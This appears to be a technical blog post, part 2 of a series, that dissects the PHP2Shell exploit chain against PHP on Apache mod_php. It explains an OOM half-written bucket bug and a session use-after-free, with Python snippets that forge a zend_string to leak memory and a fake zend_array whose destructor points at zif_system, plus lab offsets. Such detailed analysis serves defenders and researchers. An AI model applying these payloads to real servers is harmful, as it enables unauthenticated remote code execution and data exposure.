PHP2Shell Internals: From a Half-Written Bucket to system()
Github Repo Here
If you have not read the four-request chain in part 1, read that first.
This post assumes you know what A1, B1,
A2, and B2 mean.
zend_string that leaks
worker memory, the fake zend_reference and
zend_array, and the destructor call that reaches
zif_system. If you only want to reproduce it, skip to part 3.
The two sections below are deliberately low-level. The first is the OOM bug that creates the half-written bucket. The second is the cross-request bug that turns a stale pointer into a leak and then a function call.
CVE-2026-109618: When OOM Leaves a Row Half Written
A PHP array is not a linked list of values. It is a flat row of fixed-size
slots called buckets, plus a counter that says how many of
them are in use. When a request ends, teardown destroys the array by walking
that counter. $_POST and $_FILES are this
structure. Every form field PHP parses gets its own bucket: the field name
becomes the bucket's key, and the field value becomes its value.
Two counters sit next to that row. nNumUsed means "the next free
slot", and teardown reads it as "walk this many slots".
nNumOfElements is the number of live keys that
count() reports, and it is not the counter teardown walks. In a
healthy table the two move together, because a normal insert reserves the
next slot and fills it in the same step:
nNumUsed = 2
key "username"val "alice"key "email"val "alice@example.com"
Two fields, two buckets, nNumUsed = 2. Teardown walks slots 0 and
1, and every one of them holds a real key and a real value. Nothing to see
yet.
The insert is not atomic
The insert does three things in a fixed order: reserve the slot, allocate a
copy of the key, then fill in the rest of the bucket. The reserve is two
integer increments. The key allocation is a real allocation, and it can fail.
When it does, PHP's OOM handler longjmp()s out of the parser
before the fill ever runs.
/* 1. Reserve the next slot and count it as live. Nothing is written yet. */
idx = ht->nNumUsed++;
ht->nNumOfElements++;
/* 2. Point at the reserved slot. arData is the base of the bucket row. */
p = ht->arData + idx;
/* 3. Allocate the key copy. This can fail with an OOM bailout. */
p->key = zend_string_init(str, len, ...);
/* 4. Fill in the rest of the bucket. Skipped if step 3 bailed out. */
p->h = ...;
ZVAL_COPY_VALUE(&p->val, pData);
Picture a hotel register. The clerk writes "guest 3" in the book and increments the guest count before checking whether room 3 is ready. If the room is never prepared, the book still says three guests. Housekeeping reads the book, not the rooms.
nNumUsed = 3
key "username"val "alice"key "email"val "alice@example.com"key leftover heap bytesval leftover heap bytesSlot 2 now sits inside the range teardown walks, but no key and no value were ever written to it. Teardown then does exactly what the counter told it to do:
/* Walk every bucket the counter claims exists. */
for (p = ht->arData; p != ht->arData + ht->nNumUsed; p++) {
i_zval_ptr_dtor(&p->val); /* read the value */
if (p->key) {
zend_string_release(p->key); /* read the key */
}
}
It reads slot 2's value, and if the key pointer happens to be non-null, the key as well. Neither was written by this insert. But "not written" is not the same as "empty". The bucket is heap memory that was used for something else earlier in this request. During multipart parsing, "something else" is usually a field name or value from the same body. The bytes teardown interprets as a key pointer and a zval are bytes the attacker spent the previous milliseconds shaping.
That is the whole bug in two snippets and one counter. The counter says the row exists. The row was never written. Cleanup trusts the counter, and the attacker decides what the leftover bytes look like.
The OOM is not the hard part
Getting PHP to run out of memory in the right place is the part that makes
the exploit practical. PHP compares post_max_size with the
declared Content-Length before automatic POST parsing starts.
If the request uses Transfer-Encoding: chunked or has no usable
length, that check does not bound what PHP actually consumes. A compressed
input filter can create the same mismatch.
The advisory lists several ways to put pressure on the parser without exceeding the advertised request size:
| Technique | Why it works |
|---|---|
| Chunked or lengthless multipart |
PHP compares post_max_size to the declared length, then
keeps consuming decoded body data. The wire body can be larger than
the limit PHP thinks it is enforcing.
|
| Many multipart headers |
The in-memory representation of the headers costs more than their
wire representation. A body under post_max_size can
still exhaust memory_limit.
|
| Empty file controls |
A part with filename="" does not count toward
max_file_uploads, but PHP still creates the six
$_FILES metadata entries for it.
|
| Nested field names |
Names like files[a][b][c] make PHP build the hierarchy
separately for every metadata entry. One short upload record expands
into many hash tables, buckets, and string keys.
|
That is how a request that looks small enough can still push PHP over its
own limit at a controlled moment. The public PoC uses nested empty file
fields and a PHP_SESSION_UPLOAD_PROGRESS field to hit the OOM in
session cleanup.
Why mod_php is important
Apache with mod_php calls php_request_shutdown()
even when request startup failed. That gives the malformed
$_POST or $_FILES table a chance to be destroyed,
and the destruction walks the stale bucket. PHP-FPM takes a different
branch: if php_request_startup() fails, it shuts the worker
down and exits. That exact startup path does not survive on FPM. FPM is still
in scope, but the validated FPM chains happen after a successful startup and
need a suitable application operation.
This is why the lab uses the stock Apache image. It is the cleanest demonstration of the pre-auth path, and it is also the configuration PHP says is highest risk.
longjmp() for OOM with a delayed soft OOM that
fires at a safe point, plus a hard OOM that terminates the worker with
_exit(137) if memory use crosses a higher threshold. It also
resets request-owned globals that could be reached before normal
initialization. The hash table still updates its counters before it
allocates the key in 8.5.12. The fix is around the error handling, not a
rewrite of that ordering. That is why the advisory says the underlying
pattern is risky and future variants are possible.
CVE-2026-109619: The Next Request Inherits the Mess
A PHP worker is a long-lived process. It handles one request, cleans up, and waits for the next one. Some globals in that worker point into the current request's heap. At the end of the request, PHP frees the heap and expects those globals to be reset. A fatal error can skip the reset. The next request on the same worker then finds a pointer into freed memory.
That is a use-after-free, but the trigger and the payoff are in different HTTP requests. The first request is the producer. The second request is the consumer. They have to land on the same worker. That is why the exploit either uses one Apache child or pins one child out of a larger pool.
The public PoC splits the chain into four requests. The rest of this section follows them in order, so keep this table nearby:
| Stage | Role | What it does |
|---|---|---|
| A1 | OOM producer #1 |
Runs out of memory during session-cookie cleanup and leaves
PS(id) pointing into the request heap.
|
| B1 | Leak consumer |
Reclaims that block with a forged zend_string and
returns worker memory in a Set-Cookie.
|
| A2 | OOM producer #2 |
Runs out of memory again and leaves
PS(http_session_vars) pointing into the request heap.
|
| B2 | Write consumer |
Reclaims that block with a fake reference and array, then runs the
command through zif_system.
|
Two session globals carry the whole chain. They live in
ps_globals, the session extension's persistent per-worker
state. That struct is not part of the request heap. When a request dies
early, PHP frees the request heap but not the struct, so a pointer inside
the struct can outlive the memory it points at.
| Global | What it holds | When it is normally reset |
|---|---|---|
PS(id) |
A zend_string * with the current session ID. |
Released in session shutdown, after the request finishes. |
PS(http_session_vars) |
A zval holding an IS_REFERENCE to the
$_SESSION array.
|
Destroyed by php_session_track_init() during session
initialization, or in session shutdown.
|
The session upload progress feature is the star of this part. It is enabled
by default, and it runs before normal module initialization. The application
does not have to call session_start(). In fact, the app does not
have to use sessions at all. The request startup order is roughly:
php_hash_environment(); /* parses request variables and multipart input */
zend_activate_modules(); /* normal module RINIT functions */
PG(modules_activated) = 1;
If multipart parsing fatals before modules_activated is set,
the matching session shutdown is skipped. The request heap is still freed.
The Apache worker survives with PS(id),
PS(http_session_vars), or unserializer bookkeeping still
pointing into the freed heap.
The leak: PHP trusts a length field
The first consumer is the session cookie. A1, the first OOM producer, runs
out of memory inside php_session_send_cookie(), while it is
building the Set-Cookie header for a newly created ID. The
bailout leaves PS(id) non-null and
PS(send_cookie) set. Startup never reached
modules_activated, so the session shutdown that would release
or reset PS(id) is skipped. The worker keeps the pointer. The
request heap does not.
B1, the leak consumer, includes a PHPSESSID field and a
PHP_SESSION_UPLOAD_PROGRESS field, so the parser reaches the
upload-progress cleanup callback at the end of the body. That callback calls
php_session_initialize(). Inside it,
php_session_reset_id() calls
php_session_send_cookie() while PS(id) is still
the stale pointer. The leak happens before normal module initialization can
reset it.
B1 also reclaims that freed block with a multipart field value and writes a
fake zend_string header at the exact address
PS(id) still holds. The parser copies field values into request
memory, so the attacker controls the header bytes. This is the object being
forged:
| Offset | Size | Field | Forged value | What it does |
|---|---|---|---|---|
0x00 |
4 | gc.refcount |
0 |
The later release decrements it and wraps below zero instead of freeing the fake pointer, so the response survives. |
0x04 |
4 | gc.type_info |
0x16 |
IS_STRING (6) plus GC_NOT_COLLECTABLE
(0x10). PHP now treats the block as a string and the cycle
collector leaves it alone.
|
0x08 |
8 | h |
0 |
The cached hash. This path never performs a lookup, so zero is fine. |
0x10 |
8 | len |
0xC8000 |
The lie. It claims the string is 819,200 bytes long. |
0x18 |
... | val[] |
8 attacker bytes, then heap residue | The first bytes of string data. Everything after the field's real end is whatever was already in the heap. |
# v is the bytes of one multipart field value.
# hdr is the offset inside v that lands at the address PS(id) still holds.
struct.pack_into("<I", v, hdr + 0x00, 0) # gc.refcount
struct.pack_into("<I", v, hdr + 0x04, 0x16) # IS_STRING | GC_NOT_COLLECTABLE
struct.pack_into("<Q", v, hdr + 0x08, 0) # h
struct.pack_into("<Q", v, hdr + 0x10, 0xC8000) # forged len
tag = b"/02BBBBB" # 8 bytes of real string data
v[hdr + 0x18:hdr + 0x18 + 8] = tag
# the field value stops here; everything past it is old heap
Only the header and eight bytes of val are real field data.
The rest of the claimed string runs through adjacent heap memory:
refcount=0type=0x16len=0xC8000
The consumer is one line in ext/session/session.c. It uses both
fields from the forged header:
/* php_session_send_cookie() */
e_id = php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id)));
ZSTR_VAL is the val pointer at
PS(id) + 0x18. ZSTR_LEN is the forged
len. php_url_encode() reads 819,200 bytes from
that pointer and puts the result into the Set-Cookie header.
The string never had that much data; the length field is the entire bug.
In the lab, that produced a cookie a little over 819 KB and a 1.6 MB response from a page that normally returns 24 bytes. The leaked region contains the two addresses the second stage needs, plus a lot of collateral:
| What is in the 800 KB window | What it unlocks |
|---|---|
| Heap pointers that cluster on 2 MiB boundaries. They mark the bases of the Zend MM chunks. | The main chunk base. The second stage uses it to compute the fake array address. |
Real HashTable objects whose
pDestructor field points at
zval_ptr_dtor in libphp.
|
The libphp base. Subtract the known
zval_ptr_dtor offset (0x65EB60) and add
the zif_system offset:
zif_system = libphp + 0x465370.
|
| Request strings, tokens, and whatever else was in the worker's heap. | Collateral exposure. The primitive that defeats ASLR also leaks application data. |
php:8.4.26-apache image. Change the PHP build, the compiler, or
the request shape, and they change. The technique does not.
The write: cleanup calls a function pointer
The second consumer is PS(http_session_vars). A2, the second
OOM producer, runs out of memory after the upload-progress callback has
already created the session reference, but before module shutdown can run.
The worker keeps an IS_REFERENCE zval whose value points at a
zend_reference in the request heap, and that reference points
at the session array. Freeing the heap does not clear the zval.
B2, the write consumer, reclaims the freed region with a spray of 384-byte
field values. Each value is full of fake zend_reference records
every 32 bytes,
starting eight bytes into the value after the parser's string header, so
whichever slot the stale pointer lands on is a valid reference. B2 also
sends a PHPSESSID field and a
PHP_SESSION_UPLOAD_PROGRESS field. At the end of the multipart
body, the upload-progress callback calls
php_session_initialize(), which calls
php_session_track_init(), which runs
zval_ptr_dtor(&PS(http_session_vars)) on the stale zval.
That is where the chain starts, before normal session initialization can
reset it.
Here is the fake reference. It is 32 bytes, and the spray repeats it:
| Offset | Size | Field | Value | Why |
|---|---|---|---|---|
0x00 |
4 | gc.refcount |
1 |
One reference. The destructor call drops it to zero and destroys it. |
0x04 |
4 | gc.type_info |
0x0A |
IS_REFERENCE. zval_ptr_dtor follows it.
|
0x08 |
8 | val.value.ptr |
S |
The address of the fake zend_array. |
0x10 |
4 | val.u1.type_info |
0x0107 |
IS_ARRAY (7) plus the refcounted flag
(0x100). Destroying this inner zval calls
zend_array_destroy(S).
|
# One 32-byte slot in the spray. ref is the bytes at that slot.
struct.pack_into("<I", ref, 0x00, 1) # gc.refcount
ref[0x04] = 0x0A # gc.type = IS_REFERENCE
struct.pack_into("<Q", ref, 0x08, S) # val.value.ptr = fake zend_array
struct.pack_into("<I", ref, 0x10, 0x0107) # val.type = IS_ARRAY | REFCOUNTED
0x16 is type 6 (IS_STRING) plus
GC_NOT_COLLECTABLE (0x10). A zval uses a different layout: the
type is still in the low bits, but the refcounted flag sits at bit 8, so the
array zval is 0x0107 = IS_ARRAY (7) plus
0x100. Same idea, different encoding.
The fake array lives at S. It is a zend_array,
the same struct PHP calls a HashTable. The fields that matter
are nNumUsed, arData, and
pDestructor:
| Offset | Size | Field | Value | What it does |
|---|---|---|---|---|
0x00 |
8 | gc |
rc=1, type=IS_ARRAY |
The array is live and destroyable. |
0x08 |
4 | u.flags |
0x10 |
HASH_FLAG_STATIC_KEYS. The destroy path calls
pDestructor and skips releasing a key.
|
0x0C |
4 | nTableMask |
-8 |
A normal mask for eight slots. |
0x10 |
8 | arData |
S + 0x20 |
Where the first bucket starts. This is the key overlap. |
0x18 |
4 | nNumUsed |
1 |
Destroy exactly one bucket. |
0x1C |
4 | nNumOfElements |
1 |
Consistent with nNumUsed. |
0x20 |
4 | nTableSize |
8 |
Consistent with the mask. |
0x30 |
8 | pDestructor |
zif_system |
The function PHP calls for each bucket value. |
# buf is the 384-byte field value that lands at S.
struct.pack_into("<II", buf, 0x00, 1, 7) # gc: rc=1, IS_ARRAY
struct.pack_into("<II", buf, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", buf, 0x10, S + 0x20) # arData
struct.pack_into("<II", buf, 0x18, 1, 1) # nNumUsed, nNumOfElements
struct.pack_into("<II", buf, 0x20, 8, 0) # nTableSize, nInternalPointer
struct.pack_into("<Q", buf, 0x28, 0) # nNextFreeElement
struct.pack_into("<Q", buf, 0x30, zif_system) # pDestructor
That non-default pDestructor is also a branch selector.
zend_array_destroy() takes a fast inline path when the
destructor is the default zval_ptr_dtor. It only calls
zend_hash_destroy(), which honors a custom destructor, when
the pointer is something else. Setting it to zif_system earns
the call.
The overlap is the part that looks wrong until you see the call. A
Bucket starts with a 16-byte zval. Because
arData = S + 0x20, the first bucket's value is at
S + 0x20. The destroy loop calls:
ht->pDestructor(&p->val); /* p = ht->arData, so this is S + 0x20 */
A destructor has the signature void (*)(zval *pDest).
zif_system is the internal C handler for PHP's
system() function, and its signature is
void (*)(zend_execute_data *execute_data, zval *return_value).
On x86-64 both take their first pointer in RDI. PHP passes
S + 0x20 as the destructor argument, and
zif_system reads that same address as its
execute_data. Call that address E. The bucket
value and the call frame are one object.
A zend_execute_data is 0x50 bytes, and the
arguments follow it. zif_system only reads a few fields:
| Offset from E | Field | Value | Why it matters |
|---|---|---|---|
0x2C |
This.u2.num_args |
1 |
ZEND_PARSE_PARAMETERS_START(1, 2) checks this before
reading arguments.
|
0x50 |
arg[1].value |
S + 0x80 |
ZEND_CALL_ARG(1) is at
E + sizeof(zend_execute_data) =
E + 0x50. This points at the fake string.
|
0x58 |
arg[1].type |
IS_STRING (6) |
The handler only accepts a string argument. |
# E is also the first bucket's val, at S + 0x20.
E = S + 0x20
struct.pack_into("<I", buf, E + 0x2C, 1) # This.u2.num_args = 1
struct.pack_into("<Q", buf, E + 0x50, S + 0x80) # arg[1].value
struct.pack_into("<I", buf, E + 0x58, 6) # arg[1].type = IS_STRING
# The fake zend_string at S + 0x80 holds the command.
struct.pack_into("<II", buf, 0x80, 1, 0x106) # gc: rc=1, IS_STRING|PERMANENT
struct.pack_into("<Q", buf, 0x88, 0) # h
struct.pack_into("<Q", buf, 0x90, len(cmd)) # len
buf[0x98:0x98 + len(cmd)] = cmd # val
buf[0x98 + len(cmd)] = 0 # NUL terminator
The whole payload fits in one field value. The fake array occupies
S + 0x00 through S + 0x37. The first bucket and
the fake call frame overlap it from S + 0x20. The fake string
and the command sit at S + 0x80 and S + 0x98. The
ht field in B2 is that buffer, sent between the two halves of
the spray so the allocator gives it the calibrated slot at S.
| Offset from S | Contents |
|---|---|
0x00 |
Fake zend_array header |
0x20 |
Bucket 0 value, also the fake execute_data
|
0x30 |
pDestructor (same bytes as the bucket's
h)
|
0x50 |
execute_data argument slot |
0x80 |
Fake zend_string header |
0x98 |
Command bytes |
The full call chain is:
| # | What runs | What it reads |
|---|---|---|
| 1 | zval_ptr_dtor(&PS(http_session_vars)) |
The stale zval says IS_REFERENCE. |
| 2 | zend_reference_destroy(ref) |
The fake reference's refcount reaches zero. |
| 3 | zval_ptr_dtor(&ref->val) |
The inner zval says IS_ARRAY at S.
|
| 4 | zend_array_destroy(S) |
The fake array's GC header says it is a live array. |
| 5 | zend_hash_destroy(S) |
nNumUsed=1, arData=S+0x20.
|
| 6 | pDestructor(&bucket->val) |
pDestructor=zif_system; argument is
S+0x20.
|
| 7 | zif_system(E, ...) |
num_args=1; argument at E+0x50.
|
| 8 | php_exec() / popen() |
The string at S+0x80 is the command. |
S = main + 0xF8398 and zif_system at
libphp + 0x465370. The exploit computes both at runtime; ASLR
changes the bases, not the offsets.
main = 0x7f9be8000000
S = main + 0xF8398 = 0x7f9be80f8398
libphp = 0x7f9be9c7a000
zif_system = libphp + 0x465370 = 0x7f9bea0df370
This is why the final proof is a shell command and not a weird crash. PHP's
normal array cleanup becomes the call site. The attacker controls the
function pointer and the argument. In the lab, the call is
system("id > /out/pwned"). None of it needs application
code: the trigger is the multipart parser's own session cleanup callback,
which runs before zend_activate_modules().
The worker can still crash after the command, either when
zif_system writes through the garbage
return_value pointer or when cleanup frees the fake table. The
proof file is already on disk.
pm.max_requests=1 breaks the chain, at a performance cost.
It is a mitigation, not a fix.
Sources
| What | Where |
|---|---|
| PHP advisory and patch |
PHP October 2026 security release GHSA-w8hw-w9fx-j79w GHSA-6wmf-4rv5-p3rp |
| Public PoC used by the lab |
9bie/php2shell-bypass-aslr-exp commit 17e98ee81025cccfd94b4f9c9a17bf269c65ff75
|
| Research and analysis |
calif.io/php2shell Wiz Research Datadog Security Labs |